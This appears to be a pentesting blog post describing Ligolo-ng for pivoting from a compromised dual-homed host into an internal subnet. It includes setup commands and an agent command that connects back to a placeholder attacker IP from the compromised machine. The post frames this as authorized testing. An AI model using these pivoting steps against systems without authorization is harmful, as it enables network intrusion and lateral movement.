Tool Spotlight: Why Ligolo-ng is Replacing Chisel for Pentesting

Imagine you're deep into an authorized internal penetration test. You've compromised a dual-homed web server sitting in the DMZ, and you've discovered it has a second network adapter connected directly to the highly restricted internal 10.10.0.0/24 subnet. You want to run an aggressive Nmap scan, fire up Metasploit, or use your local web browser to explore this internal subnet.

Historically, this meant dropping a Chisel binary on the compromised machine, setting up a reverse SOCKS5 proxy, and prepending proxychains to every single command you type. It is slow, it drops UDP packets (making DNS resolution a nightmare), and it frequently crashes your tools.

This is exactly the problem that Ligolo-ng solves. Developed in Go by nicocha30, Ligolo-ng is an advanced, lightweight tunneling and pivoting tool that completely eliminates the need for SOCKS proxies. Instead of wrapping individual commands, it creates a virtual TUN interface on your attacker machine. Your operating system routes traffic through this interface directly to the compromised host, making the internal network feel like it is natively connected to your laptop.

Where it Fits in a Workflow

Ligolo-ng fits perfectly into the post-exploitation phase of a network assessment. Once you have initial access (a reverse shell or command execution) on a boundary host, you drop the Ligolo-ng agent onto that machine. On your local attacker machine, you run the proxy.

When the agent connects back to your proxy, you can establish an IP route to the internal subnet. From that point on, you stop using proxychains. You just run nmap 10.10.0.5 natively. Your attacker machine sends the packets to the TUN interface, Ligolo-ng encapsulates them, sends them to the agent, and the agent injects them into the internal network.

Architecture of Ligolo-ng establishing a TUN interface and routing attacker traffic through a compromised boundary host.

Installation and Setup

Because Ligolo-ng creates a network interface, the proxy (running on your attacker machine) requires root privileges. The agent (running on the compromised host) does not require any special privileges, which is a massive advantage when you only have standard user access.

First, download the pre-compiled binaries from the official Ligolo-ng Releases page. You will need both the proxy (for you) and the agent (for the target).

On your Linux attacker machine, create the virtual TUN interface and give yourself permissions to use it:

# Run on your local attacker machine
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up

Realistic Usage Example: The Internal Pivot

Let's walk through a realistic, authorized lab scenario. You are attacking example.com, and you have a shell on a Linux web server (192.168.1.50). You find that it is also connected to 10.10.0.0/24.

Step 1: Start the Proxy On your local machine, start the Ligolo-ng proxy listening on a port of your choice (e.g., 11601):

# Run on your local attacker machine
./proxy -selfcert

Note: We use -selfcert to dynamically generate a TLS certificate. All communication between the agent and proxy is encrypted via TLS.

Step 2: Connect the Agent Upload the agent binary to the compromised web server. Execute it, pointing it back to your attacker machine's public IP or VPN IP:

# Run on the compromised target machine
./agent -connect YOUR_ATTACKER_IP:11601 -ignore-cert

Step 3: Establish the Route Back on your proxy console, you will see a new agent connect. Select the session, and type start. This binds the session to your ligolo interface.

Finally, tell your local operating system to route all traffic destined for 10.10.0.0/24 into the new TUN interface:

# Run on your local attacker machine in a new terminal tab
sudo ip route add 10.10.0.0/24 dev ligolo

You are done. You can now use your local browser to visit http://10.10.0.50, or run a raw Nmap SYN scan directly against the subnet. No proxychains. No dropped UDP packets. Pure routing magic.

Strengths and Limitations

Strengths:

• No SOCKS Proxies: You can run vulnerability scanners, browsers, and UDP-heavy tools without configuration headaches.
• Cross-Platform: Both the agent and proxy are written in Go, meaning you can pivot through Windows, Linux, and macOS targets effortlessly.
• Encrypted: Traffic is fully TLS-encrypted, frustrating basic network monitoring on the target.
• Port Forwarding: It features built-in reverse port forwarding (listeners), allowing you to catch reverse shells from deeper inside the network back to your attacker machine.

Limitations:

• Network Stack Alteration: You are modifying your attacker machine's routing table. If you map a subnet that overlaps with your own home network or VPN (like 192.168.1.0/24), you will severely break your own internet connection.
• Agent Size: Because it is statically compiled Go, the agent binary is around 10MB. Dropping this onto disk might trigger older Antivirus heuristics, though modern EDRs are more focused on behavioral alerts.

Maintenance and Maturity Reality Check

As of 2026, Ligolo-ng is highly active. nicocha30 consistently merges pull requests and issues bug fixes. It carries an MIT license, making it safe for commercial pentesting. It has effectively replaced Chisel in modern offensive security certifications (like the OSCP and CPTS) due to its stability.

Tool-Coverage Safety: Always pull Ligolo-ng from the official nicocha30 GitHub repository. There are malicious forks circulating in underground forums disguised as "optimized" versions that contain credential stealers. Stick to the official releases and always verify checksums. Furthermore, pivoting tools should only be deployed on infrastructure where you have explicit, written authorization to perform lateral movement.

Alternatives

• Chisel: The legacy standard. Great for simple, single-port TCP forwarding, but the SOCKS5 proxy limitation makes it agonizing for broad subnet scanning.
• Sliver / Covenant: Heavyweight Command and Control (C2) frameworks. They offer built-in pivoting, but require establishing a complex C2 infrastructure.
• SSHuttle: A fantastic tool that creates transparent proxies over SSH, but requires the target to have an SSH server running and Python installed, which is rarely true for Windows targets.

Verdict

If you are still fighting with proxychains.conf and wondering why your Nmap UDP scans keep failing against internal targets, drop what you are doing and learn Ligolo-ng. It is the single most significant quality-of-life improvement for internal network penetration testing in the last five years.

Related Blogs

• Web Fuzzing Content Discovery Tool Roundup
• Modern Web Recon Workflow
• The New HTTP QUERY Method Explained

References / Further Reading

• Ligolo-ng Official Repository (GitHub). https://github.com/nicocha30/ligolo-ng
• Ligolo-ng Releases. https://github.com/nicocha30/ligolo-ng/releases
• Chisel Official Repository (GitHub). https://github.com/jpillora/chisel
• A Deep Dive into Ligolo-ng Setup (Ben Heater). https://benheater.com/ligolo-ng-the-ultimate-pivoting-tool/